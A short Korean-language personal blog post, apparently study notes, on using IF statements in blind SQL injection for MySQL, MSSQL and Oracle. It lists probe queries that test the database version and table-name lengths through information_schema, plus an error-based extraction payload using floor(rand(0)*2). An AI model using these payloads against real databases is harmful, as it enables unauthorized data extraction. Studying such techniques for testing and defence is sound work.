Self-Improvement

Blind SQLi IF문 (Mysql, MSSQL(제약이 존재), Oracle(제약이 존재)) 본문

SQLi

Blind SQLi IF문 (Mysql, MSSQL(제약이 존재), Oracle(제약이 존재))

JoGeun 2020. 4. 27. 10:49

IF Statements

MySQL IF(condition,true-part,false-part)
MSSQL IF condition true-part ELSE false-part
Oracle IF condition THEN true-part; ELSE false-part; END IF; END;

제약이 많은 IF문 보단 CASE문이 유용하며 Oracle은 PL/SQL에서 사용이 가능한것으로 보임

MySQL

select if(1=1, 1,2)

select if ((select substr(version(),1,1))=5,1,2)

select if (1=1,(select version()),2)

select if ((select length(table_name) from information_schema.tables limit 1 offset 0)>10,1,2)

select table_name from information_schema.tables where (if((select length(table_name) from information_schema.tables limit 1 offset 0)>10,1,2))

select table_name from information_schema.tables where (if((select length(table_name) from information_schema.tables limit 1 offset 0)>10,(select count(*) from (select count(*), concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b),2))

 

MSSQL 

if (1=1) select 1 else select 2

if ((select substring(@@version, 1,1))='M') select 1 else select 2